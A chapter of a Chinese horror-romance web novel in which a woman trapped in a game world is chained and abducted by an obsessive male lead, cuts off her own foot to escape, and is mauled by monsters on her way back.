季白找了几位常年在闻人瑾身边伺候的下人,问:“你们几位在大公子身边侍奉多年,想来是十分了解大公子的喜恶了。” 为首的一位下人看了看季白,低下头问:“少夫人,您想问什么?” “大公子最喜欢书房里的哪样东西?” 几人略一思索,有一书童打扮的小厮,率先道:“肯定是《牡丹亭》,这本书我都给大公子念过千百回了,大公子怎么听都听不够。” “不对,要我说,肯定是墙上挂的宝剑。” “不对,是念珠。” “你们都错了,是桌上那套鹿鹤同春翡翠玉磬,大公子闲来无事,最喜欢敲它自娱。” 众人七嘴八舌,一人说一样,听得季白脑袋都大了。 季白忙问:“停,你们说的这些,有哪一样是我所送?” 季白这句话一出,众人都止住了话头,神色颇为古怪。 “难道一样都没有?” 那书童低声说:“我从未见过少夫人送过大公子任何东西。” 季白一时犯了难,照闻人瑾话中的意思,那东西多半与她有关,可他们说了这么多,没有一样和她有关,难道是她想错了? 要不把他们说的那几件东西都搬去祠堂一个接一个的试? 人群最后的一位小厮突然低着头说了一句:“少夫人送过。” 季白眼睛一亮,忙问:“是何物?” 那小厮抬起头一字一顿地说:“是大公子摆在书桌上的长寿花,是少夫人云英未嫁时赠予大公子的。少夫人赠花时曾言愿君如此花,长寿无忧。” 季白闻言多看了这小厮一眼,其余下人都不知晓原主曾送过闻人瑾东西,可他不仅知晓,竟连她当时说了什么话都还记得。 实在古怪。 这小厮的脸明明是一张生面孔,可却总给季白一种熟悉的感觉。 她移开视线问其余人:“大公子平日里对这盆花如何?” 经过此人提醒,众人纷纷说:“原来这花是少夫人送的,难怪大公子从来不让我们经手。” “怪不得大公子每年在花开的时候待在书房的时间都要长一点,我还以为是大公子喜欢听书,原来大公子是坐在书桌边闻花香。” 众人七嘴八舌地细数着闻人瑾对这盆花的特别,季白也几乎可以确定了,看来就是此物。 她抬脚就要去书房搬,可想到房间里褚师怀的白骨,迈出的脚步又迈了回来,随手指使了一位下人让他进去把花搬出来,其余下人见无事也都纷纷散去,一时间天地又静了下来。 季白转过身子看向书房的方向,身后却突然传来一个低沉的声音。 “为何少夫人不亲自进去搬呢?” “是因为我的尸体还留在房间吗?” “少夫人……也会怕吗?” 第27章 (四合一的更新) 季白顿时头皮发麻,后背出了一身冷汗。 她攥紧了拳,缓缓回过头。 入目是一张极为平凡的脸,平凡到放到人堆里也不会认出来,可却又有一种莫名的熟悉感。 季白记得他,是刚刚那个古怪的小厮。 “你究竟是谁?” 季白惊疑不定地问,全身的肌肉都紧绷着,做好了随时逃跑的准备。 小厮的眼神中适时闪过一丝迷茫,仿佛是不知道自己为什么在这儿一样,但还是机械地回答了季白的问题。 “回少夫人,奴才安福,专门负责院里的花花草草。” 季白退后一步,紧紧盯着眼前的小厮,他实在是太奇怪了。 她掐着指尖,状似平静地说:“哦,你下去忙吧。” 她说着这话,可目光却一直落在眼前名为安福的小厮身上,警惕的防备着他的一举一动。 那小厮行了一礼,弓着身子准备退下,这时,刚刚被季白派去取长寿花的小厮也回来了。 “少夫人,花已经搬来了,我给您放哪?” 季白转过头去,只见一小厮抱着一盆还未开花的长寿花恭恭敬敬地站在她面前。 “给我就好。” 季白伸手接花,直至这盆沉甸甸的花落入自己怀中,季白的心方落回了实处。 不管怎样,至少她已经成功取到了闻人瑾的道具,只要再回祠堂把它和其他道具放在一起,她就能离开这个诡异的世界了。 不料,那道声音如同幽灵一般又在她的耳畔出现。 “你就这么喜欢送他的这盆花?” “呵,你喜欢的究竟是花,还是……花的主人?” 季白的脸顿时白了,抱着花盆的手都开始抖,面前的小厮满脸担忧地问:“少夫人,您怎么了?” 季白望着眼前正常的小厮,她能看清他的脸,却听不清他说了什么。 这道低沉沙哑如同幽灵般的声音在她的大脑里不断循坏播放,揪得她的心跳得飞快。 季白紧紧抱住怀里的花盆,用力到手背暴起青筋,指甲在花盆上留下一道浅浅的痕迹。 她咬着牙强忍着恐惧往后看去,可身后空无一人,就连刚刚那个古怪的小厮都不见了。 是她压力太大幻听了吗? 那道声音再次在她的耳畔响起。 “你的心跳得很快。” “你很害怕?” “别怕,我会一直在你身边。” 这声音忽远忽近,上一秒如隔云端,下一秒仿佛就趴在她的耳边,她甚至还能感受到那股阴凉的气流拂过耳畔的痒意。 她四周张望了一圈,也没看见半个可疑的人。 小厮被季白突兀的动作吓了一大跳,情不自禁地退了几步,颤颤巍巍地问:“少夫人,您究竟是怎么了?” 季白问:“你有听到有人说话吗?” 小厮一脸惊慌:“我……我什么也没听到啊。” “那刚刚那个人呢,你看到了没?” 小厮都快被吓哭了。 “少夫人您别逗我了,哪有什么人啊,一直不就少夫人一个人吗?” 季白的心骤然停了一拍,语气有些失控,“怎么会只有我一个人?你刚刚来的时候没看见我和一个小厮说话吗?对,就是说出这盆花来历的小厮,他说他叫安福,你没看见吗?” “安福?我不认识啊。”小厮抖如筛糠,“我来时也只看见少夫人一个人在这儿,并没有其他人在啊。” 季白快要炸了。 怎么可能,明明是那个名叫安福的小厮说出了长寿花的存在,他们不是还一个个跟着讨论吗? 怎么转瞬间他们就什么都不记得了? 就在季白快要被发生的一系列异常折磨得快要疯掉时,她突然又平静下来了。 情绪转换之快就连系统看了都一脸惊奇,它从来没见过这样的人类。 明明上一秒还很害怕,可下一秒似乎又变得平静了。 季白又看了一眼面前的小厮,平静地说了一句:“我知道了。” 她说完,抱着花转身就走,每一步都走得很平稳,仿佛刚刚害怕的人不是她一样。 系统破天荒地在她脑海中主动出声询问。 【你不害怕了?】 【我当然怕。】 季白说着怕,目光却很沉稳。 除了那颗仍然在胸膛中砰砰直跳的心能暴露此刻她真实的情绪外,她现在的模样简直和怕这个字毫不相关。 【怕就能解决问题吗?】 她一字一句的沉稳回答让系统沉默了下去。 季白的心中当然是怕的,在她前二十二年的生涯中,她的世界一直是科学的,可这短短几天的经历已经摧毁了她原有的世界观。 她不知道什么样的东西会植入她的大脑和她说话,也不明白这里的世界究竟是真是假,甚至不明白为什么一个已经化为白骨的恐怖东西还可以继续和她说话。 褚师怀是变成鬼了吗?那些人为什么前言不搭后语,为什么会听不见褚师怀的话? 她有太多的疑问和恐惧,可这一切都没能让她忘却她最应该做的任务和目标。 无论那些是什么,无论跟着她的褚师怀究竟还有什么打算,她要做的就是把这盆花放回祠堂,成功完成任务离开这儿。 如果系统也骗了她,那么哪怕是她死,她也绝不会让其他人好过。 【你手里的花是对的。】 季白停下脚步,声音打着颤,“你说什么?” 系统又沉默了很久,久到季白以为他不会理她了。 【你这次的道具是对的,只要你能成功放回去,任务……】 系统说到这儿,素来沉稳冰冷的电子音似乎是顿了下,紧接着季白的脑海中响起滋滋啦啦的电流声,剩下的声音也变得有些模糊不清。 【就算完成了。】 系统这句话仿佛是给她打了一针强心剂,她总算是在这个无望的任务中看到了一丝曙光。 只是系统最后的异常又让她有点担心。 【喂,你怎么了?】 【我的脑海里怎么有电流声?】 然而,无论她怎么问,系统都一言不发。 该死,这系统不会是因为提前透露了任务道具的真假,被它的上级发现惩罚了吧? 季白倒不是担心系统,毕竟在她眼里,自己之所以会被拉入副本受折磨,都是这个该死的系统搞得鬼。 她更担心的是如果系统受罚,会不会影响她回家。 季白一心扑在系统身上,一时间疏忽了脚下的路,不知从哪儿冒出来一个拦路的石头,季白一个没注意,脚尖撞了上去,一头往地下栽去,摔得她头晕眼花,膝盖和手肘也疼得厉害。 怀中的长寿花也未能幸免于难,紫砂质地的花盆顷刻间摔成了碎片,花盆里的土也洒了一地露出长寿花盘根错节的根系。 季白顾不上手上的疼痛,连忙用手把土聚拢在一起保护着长寿花的根茎。 这花可是她回去的关键道具,千万不能摔坏了。 季白蹲在地上四处张望着,试图寻找一个可以盛花的容器,视线里却突然出现一双薄底皂靴,靴面上用银线绣以祥云飞鹤纹。 这双靴子有点眼熟。 季白仰头望去就见本该死去的褚师怀立在她面前,静静望着她,一刹那,季白只觉脊背发凉,心也提到了嗓子眼,搂着土的手都开始颤抖。 他不该是死了么,怎么又可以完好无损地出现在她眼前,她明明亲眼看着褚师怀化成了一捧白骨。 褚师怀没有说话,季白也没有说话,仿佛两个人在进行一场心照不宣的比赛。 褚师怀率先动了,季白吓了一个激灵,抱着花本能地往后退了一步。 褚师怀见状眼中闪过一抹狰狞与受伤,一把抓住她脏兮兮的手。 “你就这么在意这盆破花,怕成这样也要抱着它?” 他说着伸手就去夺季白怀里的花,这可是季白回家的关键,她怎么可能放手? 季白一直抱着不放,褚师怀见状愈发恼怒了,只听“喀嚓”一声,本就脆弱的花枝彻底断了,季白的心颤了颤,不敢再和褚师怀抢。 褚师怀一把将花夺了过去,狠狠往地上一掼,随后动作粗暴地把季白拉了起来,如炭般炙热的手掐着她的下巴问:“你带着这破花要去哪?” “找闻人瑾吗?” “什么拼尽全力从闻人瑾那儿逃了出来,全是骗我!” “说!你是不是打算带着这破花去找闻人瑾,打算和他远走高飞?” “呵,闻人瑾这么宝贵这花,他怎么不亲自来取,偏要指使你来?” “哦,我差点忘了,他眼睛看不见,别说取花了,走路都困难。” 褚师怀说到这儿气得眼珠子都快要爆出来了。 “那样一个废物,你也喜欢,我到底哪里比不上他?” 季白只觉自己的下巴被掐得又疼又烫,像是快要被人掐断了一样,她想要推开他。 可这一次的褚师怀似乎是吃了上一次的教训,她的两只手都被他抓在手里不放,压在她的背后。 褚师怀俯下身子靠近她,一字一句用无比邪恶的语气说:“还是说你就是贱,就是喜欢伺候别人,所以喜欢连搬花都要让你来的废物?” 季白听了这话气得七窍生烟,要不是双手被他反绞在身后,定是抽他一巴掌,但她也没放弃,没了手,还有脚。 她抬脚就去踹,可褚师怀的反应比她快,松开掐着她下巴的手就抓住了踹上来的脚脖子,季白又用另一只脚去踹,褚师怀也没在意任由她去踹,抓着她大步走了两步,而后就将她压在了亭子的柱子上,膝盖抵住她的腿,让她动弹不得。 季白还是不甘心,张嘴就咬,褚师怀也没客气,腾出手又一次掐住她的下巴。 “这么生气,被我说中了?” 季白不得动弹,只能用眼神瞪着他,她只要一想到自己被人骂了,就恨不能咬死眼前的人。 他凭什么那样骂她,凭什么用那样的字骂她? 季白气着气着,突然笑了。 “是啊,被你说中了。” 褚师怀的面色肉眼可见的阴沉了下来,季白却还嫌闹得不够大似得,又继续用言语刺激他。 “我就是宁愿喜欢眼盲的闻人瑾,也不喜欢你。” “你知道为什么吗?” “闻人瑾端方如玉,绝不会像你这样毫无风度,恶语伤人。” “他就是比你好,你就是比不上他。” 季白就是这样的人,别人让她难受了,她一定也要那人百倍偿还。 平时的她算是一个冷静理智的人,可一旦情绪上头,就什么后果也不顾了,死也不怕了。 褚师怀咬得牙根咔嚓作响,太阳穴气得一鼓一鼓。 季白看他气成这样,心里顿时痛快了不少。 最好是气死他。 电视里不都演人能被气得吐血吗,他怎么不吐血呢? 褚师怀突然低头笑了一声,“喜欢他?呵。” 他虽笑着,但也能听出他言语下压抑的怒火。 他掐着她的下巴,俯身凑近,额头抵在她的额头上,一双眼睛如同锁链一般紧紧锁住了她的魂魄。 “可是怎么办?你现在就在我手上。” “那么喜欢他,你让他现在来救你啊。” 他话落拽着季白的胳膊就走,途经季白刚刚摔倒的地方时,褚师怀还刻意停下了脚步,一脚踩在闻人瑾的花上,还泄愤似得又用力碾了碾。 季白惊叫一声,“我的花!” 天呐,她好不容易找到的通关道具,就这么被褚师怀毁了! 她还能完成任务吗? 褚师怀见她一脸心疼绝望,越发气恼了,不解恨地一脚把花踹到了不远处的湖里。 季白见状想都不想就要扑上去救花,却被褚师怀死死抓住不让她动,季白只能眼睁睁看着她的通关道具沉入了水底。 瞬时间,她如丧考妣,心彻底死了。 褚师怀不知季白之所以在意闻人瑾的长寿花是因为这是她离开的关键道具,如果他知道,或许他的心还能好受一点。 他只当季白是爱极了闻人瑾,所以就连闻人瑾的破花也心疼成这个样子。 褚师怀又妒又气,就不该草率地把它踢进湖里,反倒便宜了它,就该一通乱砍,碎尸万段,挫骨扬灰! 他阴着一张脸,拽着季白继续走,走了好一段路,他一回头见季白还是那副死了爹妈的伤心样,就气不打一处来。 他抓着她的手腕,将人拽至身前,厉声问:“不过一盆破花也值得你这么伤心?” “呵,就连当初与我分手,也不见你这般模样。” 季白瞪了他一眼,怒道:“你根本什么都不懂!” 那盆花是她离开这儿的全部希望,结果就那么被他踹进湖里去了! 她何止是伤心,简直恨不得能杀了他,不,就算杀了他,都不够她解气的。 她辛辛苦苦走到这一步,结果全被他毁了! “我不懂?”褚师怀气笑了,咬牙切齿地说,“那盆破花还是我当年给你挑的,就连送花时你对他说的话也是我一字一句教给你的。” “你现在反而说我不懂?” 季白一时间愣在原地,她怎么也没想到闻人瑾的那盆长寿花竟然还有这层渊源…… 难怪……难怪他连原主送花时说了什么都知道。 /:. “你……你就是之前的小厮安福对吗?” “你为什么可以变成别人的模样,为什么我明明杀了你,看着你变成白骨,还能死而复生?” “你到底是什么?” 季白终于问出了她一直好奇的问题,祠堂里的闻人瑾也不正常,可他至少还是人类应有的模样,可褚师怀……褚师怀实在太诡异了。 他是唯一一个变成怪物又能恢复原样的男主。 褚师怀没有回答她的问题,只是抚摸着她的后脊,贴在她耳边说:“我说过,我会一直陪着你。” “你还在这儿,我怎么会死呢?” “就算是死,也会一直一直留在你身边。” 季白突然有一种被怪物缠上的不适,他比影子还要可怕,影子至少会在阴影处消失,可他却是无处不在,寸步不离。 褚师怀话毕,直接将季白抱在怀里,跨步继续向前走。 “你要带我去哪?” 褚师怀不答,她也很快知道答案了。 是褚师怀的小院。 褚师怀将她扔在床上,怕她跑了,又倾身压了上来用锁链勒住她的手脚。 “这下你再也跑不掉了。”他扣住锁扣,抬眸笑道,“你只能留在我身边,哪怕是具不会说话的尸体。” 季白扯了扯锁链,觉得有点没新意,他和闻人瑾一样都想囚禁她。 一时半会她也逃不掉了,她没再费力气挣扎,往床上一滚,找了个舒服的姿势躺着了。 她以为褚师怀也会跟着躺上来,结果他只是看了她一眼,就起身开始收拾东西了。 季白觉得有点奇怪,但也没多想,只当是因为他的房间多住了一个她,所以需要收整收整。 看来褚师怀之前是从来没有想过要关着她的,不然他肯定会和闻人瑾一样提前准备一间房间。 想到这儿,季白叹了口气,真是一手好牌打得稀烂,如果一开始就哄着点褚师怀,他也不会疯到这种程度。 现在想挽回还有机会吗? 季白觉得有点难,她可是亲手杀死过他一次了。 如果她是褚师怀,她一定会毫不犹豫地杀了自己,不留祸患。 季白想到系统说的他们对她都是满分的爱意,如果现在能想办法逃走再把掉进湖里的长寿花打捞出来,或许还能有机会离开这儿。 季白正想到入神,却突然觉得脚腕有点痒,她低头一看就见褚师怀解开了固定在床尾的锁链,她心中一喜,暗想,褚师怀这么快就想通了,愿意放过她了? 但她很快又发现褚师怀身上还背着一个小包袱,不容她多想,褚师怀长臂一捞,将她抱在怀里就往外走。 突如其来的腾空感让季白吓了一跳,她连忙抱住褚师怀的脖颈,问:“你要带我去哪?” 难道褚师怀也有一个像闻人瑾一样的秘密空间? 褚师怀垂眸看她,浓长的眼睫在眼下留下一道淡淡的阴影,语气温柔得宛若春水,“你不是一直不喜欢这儿,想要离开这儿吗?” “我带你离开。”他轻抚着她的脸庞,眼底是不可扭转的坚定,“这一次,我一定可以带你走。” 这一次? 难道还有上一次? “等我们离开这儿,我就带你去看我说过的烟雨江南,还有大漠苍山,碧海晴空,我们都一样一样的看,好不好?” 季白人傻了。 “你要带我离开这儿?” 季白在听到这一消息时,内心竟莫名其妙地动摇了一下。 她有点心动了,想要离开这儿,想要跟他去看一看外面的世界。 但这抹不可思议的渴望来得太过突然,就连季白在察觉后也有几分茫然,她摸上自己的心,冥冥之中,好像是另一个自己在说愿意。 她用力甩了甩头,心想,肯定是这个诡异的地方也影响到她了。 她的任务只剩下一天多的时间,要是真的跟他离开闻人府,她的任务指定是完不成了。 “我……我不去。”季白揪着褚师怀的衣襟说,“我身体不好,不能舟车劳顿。” 褚师怀温柔的眼神顷刻间变得危险,“不想去?你之前可都吵着囔着求我带你去。” “人都是会变得,从前想要的,现在不一定想要。” 褚师怀听了这话,眼中是一闪而过的落寞和苍凉,“是啊,人都是会变的,我的小白也变了。” “怀哥哥。”季白蹭了蹭褚师怀,撒娇道,“我们就留在这儿不好吗?你和我从小都在闻人府长大,为什么一定要离开这儿呢,你可以就把我藏在你的院子里,我真的不想离开这儿,我听说外面有很多坏人,各地气候也不同,我的身体又一直不好,肯定经受不住的。怀哥哥心疼心疼我,不去了好不好?” 褚师怀抚摸着她的头,轻声问:“你是舍不得闻人府,还是舍不得闻人瑾?” 季白一听这话,气得恨不得咬褚师怀一口,合着她说了那么多话,这家伙就听见了闻人两个字。 不知是不是季白的错觉,她总感觉重新变成人形的褚师怀虽然比怪物形态的褚师怀多了几分理智和脑子,但他对闻人瑾的痛恨倒是一直没变。 他之前一直在意的羽生,倒是连提也没提一句,仿佛没他这个人了一样。 “和闻人瑾无关,我只是……” 季白话还没说完,褚师怀就抬手捏住了她喋喋不休的小嘴。 “小白,我耐心有限。” 褚师怀说完这句话就捂住季白的嘴,继续往外走,眼看都快要走出闻人府的大门了,季白急得不行,张开嘴就咬了一口褚师怀的手掌。 褚师怀的脚步顿了顿,捂着她嘴巴的手掌也略微有所松动。 对于褚师怀来说,这一口并不疼。 她柔软的唇贴着掌心,蔓延的痒意如同麻药一般侵蚀着他的心,酥麻到震颤的肉又被她小小的坚硬的牙齿一咬,细微的疼痛带来直达心脏的爽感,那块被她咬住的肉,就被她炙热柔软湿润的嘴巴紧紧包裹着,这对褚师怀来说,是一种难以用语言形容的爽感与满足。 他紧紧盯着她的脸庞,内心掀起滔天巨浪,他大抵是病了,竟想被她一口口的吃掉。 他的血肉会融进她的骨血,再也不会被人分开。 季白对上褚师怀幽深的眼眸,以为他是被自己这一口咬得生气了。 她想了想吐了出来,正想在对着褚师怀说两句好话,却见褚师怀抬起手对准了她的脖子,下一秒,季白只觉脖颈一痛,彻底失去了意识。 等季白再次清醒时,发现自己竟然是在马车上,她顿时傻了眼,连忙翻身坐起揭开车帘朝外看了一眼,率先入目的就是一轮挂在大山尖尖的落日,夕阳的余辉把世间万物都染成了金黄色,给人温柔又圣洁的感觉。 可季白的心却坠入了谷底,夕阳下是连绵不绝的山。 她现在到底在哪,又离开闻人府多远了? 在季白愣神时,褚师怀炙热的身躯覆了上来,他长臂一捞就将季白捞进了自己的怀里,如恶龙守护珍宝一般,恨不能把她身体的每一个部位都放在自己的怀里。 “喜欢吗?”褚师怀低声问,“是不是比在闻人府的风景好多了?” “不喜欢,我要回去。” 褚师怀恍若未闻,开始温柔地和她介绍下一站的行程。 季白不耐烦地大声说:“我说了!我要回去。” 褚师怀冷下了声音,“小白,不要惹我不开心,你也不想再睡一觉吧?” 季白想到了脖子上的疼痛,果断选择闭上嘴。 她可不能再睡了。 再睡一觉,指不定在睡梦中任务就超时了。 褚师怀见她低声不语,颇为开心地在她耳边碎碎念,一会讲他走过的地方,一会讲他们这次出门的路线,一会又问她以后他们在哪里安家。 季白实在没心情和他聊天,在她眼里车窗外的不是夕阳,而是一个随时会爆炸的催命符。 太阳渐渐落下,他们的马车也在一间客栈前停了下来。 许是客栈的位置还算不错,季白跟着褚师怀一进门就看见了不少旅人,几乎快要把这间不大的客栈占满了。 季白看了看他们,他们看起来就像是正常的人类,一举一动都没有任何异常,可她忍不住会在心里好奇,等到了晚上,他们还会这样正常吗,还是说会变成怪物? “两位客官,你们来得正是时候啊,刚好还剩一间客房可供你们夫妻两人住。” 褚师怀扔给小二一锭银子,“把你们店里最好的菜拿出来送到我们房里,再备点热水。” “好勒。”小二接过银子应了一声,带着两人就往二楼去。 一路上,季白不是没想过要跑,可褚师怀一直紧紧抓着她的手腕不放,她压根就没机会,她要是多提一句旁的话,褚师怀的眼神就似是要让她强行再睡一觉。 眼下系统又联系不上,季白焦躁不安的心逐渐被绝望所笼罩,但内心一刻也没有忘记寻找脱身之法。 褚师怀关上了房门,转过身笑得灿烂明媚,“小白,我们终于逃出来了。” “以后天大地大,任我们闯,我们自由了。” 季白心想,你是自由了,我可不自由。 她没有理他,褚师怀也不在意,坐在她的对面用一种温柔又奇特的眼神打量着她,仿佛怎么看都看不够似得。 季白被他的眼神盯得有点心里发毛,她别过视线,暗想,看来只能等晚上褚师怀睡着的时候自己想办法逃出去了。 现在并不在闻人府,或许外面的世界是正常的呢。 她没有时间了,今晚不跑,就真的再也跑不掉了。 季白打定主意后,就变得格外配合。 褚师怀说什么都听着,还会时不时地附和他。 褚师怀见状,脸上的笑意也越发清朗明艳,活脱脱一个潇洒风流的侠客,丝毫看不出表象之下那颗疯狂执拗的心。 两人吃过饭洗过澡后,季白想让褚师怀快点睡着她好逃跑,就早早上了床。 季白拍拍床边的枕头,“快来,我们早点睡吧。” 褚师怀眉眼含笑地望着季白,锋利的眉尾向上一挑,“这么积极?” 季白望着这张明艳到极致的脸庞,身体本能地也有一点点害羞。 她轻咳了一声,低下头说:“今天赶了一天的路,你不累吗?” “你不是说想带我去江南吗?明天当然要早点出发。” 褚师怀勾了勾唇没说话,他走到床边坐在,并没有立刻上床,而是先从怀里掏出了一物。 季白定睛一瞧,竟是之前锁过她的锁链。 一回生二回熟,褚师怀这一次的动作显然比上一次熟练多了,季白抽腿就要躲开,却被褚师怀牢牢抓住了她的脚腕,炙热的温度顺着小腿一路蜿蜒,烤得她的脸红扑扑的。 “你要干嘛?都睡觉了,为什么还要锁我?” 火光下他的面容越发深邃英挺,带有薄茧的指腹摩挲着季白的脚踝,季白只觉痒得要命,好似有几百只火热的蚂蚁在爬一样。 她缩了缩腿,却又被褚师怀大力地拽了回去,牢牢固定在了自己的怀里,冰凉的锁环挨上她的肌肤,激得她打了个冷颤,但又很快被炙热的温度所覆盖,季白一瞬间又变得很热。 褚师怀低着头望着她的脚,散落的刘海遮住了他的眉眼,让季白看不清他的眼睛,只能望*见他白皙的肌肤和如刀削斧凿般完美的轮廓。 裸露在外的脚越发滚烫了,不知是被他的手染上了温度,还是被那双炙热的眼睛盯得发热。 “我当然要锁着你。”他的声音有点哑,“不然小白趁我睡觉的时候跑了怎么办?” 他话音刚落,只听空气里传来一声清脆的“叮”,锁环牢牢扣住了她的脚腕,锁链的另一头则锁在了床尾上。 季白用力拽了拽,锁环纹丝不动,反而是她的脚腕被金属磨得很疼。 季白有些气急败坏,“我不会跑!褚师怀,你就这么不相信我,那往后的旅程我们还怎么一起同行,你总不能走到哪都要锁着我吧?” “快把我放开。” 褚师怀抓住她乱蹬的小腿,顺势在床上躺下,“别乱动,不然受伤的只能是你。” 褚师怀说着又摸了摸季白的脚腕,自言自语地轻声说:“看来下次得换个软和点的东西锁着你。” 季白气了个倒仰,但还是强忍着怒火,抱着褚师怀眼泪汪汪地撒娇,“怀哥哥,这个锁链真的磨得我的脚腕好疼,等明天起来肯定会磨破的。” “你就给我松开好不好?我保证不会跑,怀哥哥若还是不放心,晚上睡觉时就一直紧紧搂着我好不好?求你了,你就给我松开吧。” 褚师怀勾起一缕她鬓边的头发放在手里把玩,“小白,你每次有坏主意都这么求我,你觉得我还会上当吗?” 季白咬了咬牙,“那……那人有三急,我晚上要上厕所怎么办?” “我会给你解开,陪着你去。” “来不及怎么办?” 褚师怀没了耐心,一把扔掉手里的头发,把人往怀里一按,咬牙切齿地说:“那就尿床上,明日大不了洗个澡换身衣裳。” 季白还想再说话,褚师怀似是提前预判到了一样,按着她的脖颈,低声说:“再多说一个字,我就帮你睡。” 帮的意思很明白了,她再作妖,他就和之前一样,一掌让她进入深度睡眠。 季白果断闭上了嘴,醒着晚上还能再想想别的办法,要真是昏迷了,就一点希望也没有了。 褚师怀望着不说话的季白,眼中闪过一抹低落的情绪。 他果然学不会闻人瑾那一套。 季白窝在褚师怀的怀里,只听他的呼吸逐渐变得绵长,床边的蜡烛燃到最后也缓缓灭了,季白又在黑暗中等了好一会,方试探性地悄悄从他的怀里滚出来。 安静的房间是他并未有分毫变化的呼吸声,他还在睡。 季白松了口气,摸上了扣在脚腕的锁扣,她正想着主意,脑海中突然响起一道声音,吓得她打了个激灵。 【你怎么跑到这儿了?这儿离闻人府很远,我还以为你早就已经到祠堂了。】 【你吓我一跳。】 季白在脑海中抱怨。 【褚师怀把我带过来的,你今天怎么回事,为什么我怎么叫你,你都不理我?你是我的系统,为什么总是找不到人?】 系统沉默了一瞬,冰冷的电子音听起来越发冷寒了。 【我是你的系统,但也不代表我必须每时每刻都围着你转。】 这语气听起来像是生气了,系统也会生气吗? 【你生气了?】 【与其关心这些没有用的东西,不如想想你该怎么离开这儿,好心提醒你一句,距离任务时间结束已经不足二十个小时了,而你所在的地方,哪怕是用快马也至少需要两个小时赶回闻人府。】 【你的时间不多了。】 季白一听这话,只觉自己的眼前仿佛出现了一个倒计时,流逝的每一分每一秒都在压迫着她的心。 她缓了口气,摸了摸脚踝上的锁扣,如果大力拉拽,先不说能不能拉得开,也会很快把褚师怀吵醒,至于偷钥匙,也是费时费力,被发现的概率也很大。 难道她真的要被困死在这儿吗? 季白闭了闭眼,摸出了一直藏在怀里的匕首。 这把匕首本是她防身所用,现在正好能派上用场。 锁链不知是什么材质所制,坚硬非常,她试了多次都不能将其砍开,反而弄出了声响差点吵醒褚师怀。 季白叹了口气,神色平静地把一角衣袍卷了卷塞进了嘴巴里,抽出匕首对准了脚腕。 系统恰好这时在她的脑海中出声。 【我……啊!你在干什么?你疯了!】 它本该说出的那句话还没说出来,就被一声尖叫所淹没,紧接着是系统从未有过的慌乱与震惊。 系统的视线不受坏境的影响,它清楚的看见季白手起刀落把匕首扎进了肉里,然后重重往下压砍断了自己的脚腕…… 甚至还看见她一刀没有砍得干净,又忍着痛咬着牙劈断了连接的筋。 霎那间,血如泉涌。 【你疯了!你为什么要砍断自己的脚?!】 系统在她的脑海里疯狂大叫,吵得季白本就疼得要死的伤更疼了,她的嘴巴被布料塞得严严实实,因而没有发出一点声音,但强烈的疼痛,还是咬得她的脸颊都青紫了,她颤着手随便扯起身旁的衣物把自己的脚腕裹了裹,止住了血。 这真的只是一个游戏副本吗,这种强烈到极致的痛是她这辈子都从未体验过的痛。 【不砍断我怎么跑?】 系统一时间哑火了,但很快又沙哑着声音说。 【你为什么不问问我?】 【或许……】系统的声音变得很低很低,【你向对他们撒娇一样求求我,我会帮你啊。】 解开一个锁链对系统来说并不算难,甚至它刚刚就想问她要不要帮忙。 季白冷静地处理了伤口,不知是不是因为这里只是副本世界的原因,她除了疼以外,目前并没有其他的反应,甚至连血也渐渐止住了。 她习惯了疼痛后,就小心翼翼地从床尾爬下床,又缓慢移动着往门口的方向挪动。 【然后呢,你又失踪大半天?】 【我还担心失踪后的你影响我回家的进度。】 疼是疼了点,但季白觉得很值。 只要能完成任务回家,她就可以回到自己的身体里。 何况在这个化为白骨都能原样复活的诡异世界,舍去一只脚又算得了什么。 系统一时间没了话,它悄悄利用权限帮了季白一把,但没有告诉她。 待季白从房间里逃出来后,她就加快了步伐,脚腕的痛也麻木到了可以忍受的程度。 【后院有快马,你可以骑马离开。】 季白一开始也没想过要靠双腿走回去,万幸她在现代学过骑马,不至于手忙脚乱,一头雾水。 她解开后院的马,在系统的指引下一路往闻人府的方向快马狂奔。 天边挂着一轮弯弯的血月,暗红的月光照在一人一马的身上,让季白不至于伸手不见五指,但再远就看不清了,道路两旁的树丛狰狞张狂地看着她,仿佛随时会从中蹦出一个怪物一口吞了她。 季白强压下恐惧,谨慎得观察着四周的情况,但她防备了一路也没有任何怪物出现,甚至连只鸟儿都没有,安静得像是整个世界都死去了。 【外面没有怪物吗?】 难道只有闻人府才有那些可怕的怪物吗? 系统没有回答她的问题,只是低声说了一句。 【前方左拐。】 外面怎么可能没有怪物,整个世界都已经崩坏,夜晚已经成了怪物的天下,外面的怪物甚至远比闻人府的怪物强且多。 在她看不见的视野里,阴影里早已潜伏了无数只虎视眈眈的怪物,只是被它悄悄压住了。 系统的视野转到季白那只突兀的没有脚的脚腕。 无论怎么变,无论她记不记得,骨子里的性格从未变过。 马在拐弯时,不知被什么东西绊了一下,只听得它凄厉地嘶鸣了一声,沉重的身体就重重摔到了地下。 季白也跟着滚落马下,疼得她龇牙咧嘴。 怎么回事? 马好端端的怎么摔了? 季白下一秒就摸到了蠕动的柔软的东西,她吓了一跳,连忙低头看去,借着月光她看见了自己掌心下的土壤好似活了。 不,不对,这不是土,是一个黝黑的古怪东西。 它的身体很大,紧密得交错在一起缓缓蠕动着,正是从它身上分出的一条触手抓住了马蹄。 季白忙用匕首去劈砍抓住马蹄的触手,这东西虽然大,但它的肢体却很软,像是乌贼的触手一样,被它轻轻一劈就断了。 马脱离了束缚,重新站了起来,季白扶着马身就要上马,这马却不知被什么东西惊了一下,甩开季白就撒开蹄子跑了。 季白眼睁睁看着马消失在她的视野中,她想去追,却又被那不知名的怪物缠上了,触手先是缠绕住她的腿,让她不得动弹。 她握着匕首去砍,蜂涌的触手又缠住了她的手,手里唯一的武器也掉了。 季白随即感受到撕心裂肺的痛,那些缠绕着她的触手张开了一张张藏有利牙的口器啃咬着她身上的血肉,时不时还有盘旋的怪鸟啄食她身上的肉。 系统看到这一幕,都快死机了。 不可能啊,他明明压制了周遭的怪物啊,为什么它们还会攻过来? 就在系统不解时,怪物与怪鸟又悉数退了下去,仿佛从未出现过一样,季白直觉自己全身上下都很疼,就连一个普通的呼吸都疼得她快要死过去。 但她还是没有忘记自己的任务,继续爬着往闻人府的方向走。 可只要她一走,就会重复一遍刚刚的遭遇,如此反复几次后,季白已经被折磨得奄奄一息了。 她绝不可能就这么窝囊得死在这儿,地面被她的鲜血染红,全身上下几乎没有几块好肉了,但还是坚定的,愚蠢的继续前进。 她突然有一瞬间的恍惚,仿佛那些怪物和怪鸟又回来了。 世界在一瞬间变得正常,耳边是清脆的虫鸣,凉爽的夏风拂过她火辣辣的伤口减轻她身上的疼痛,就连头顶的血月也变成了皎洁的月色。 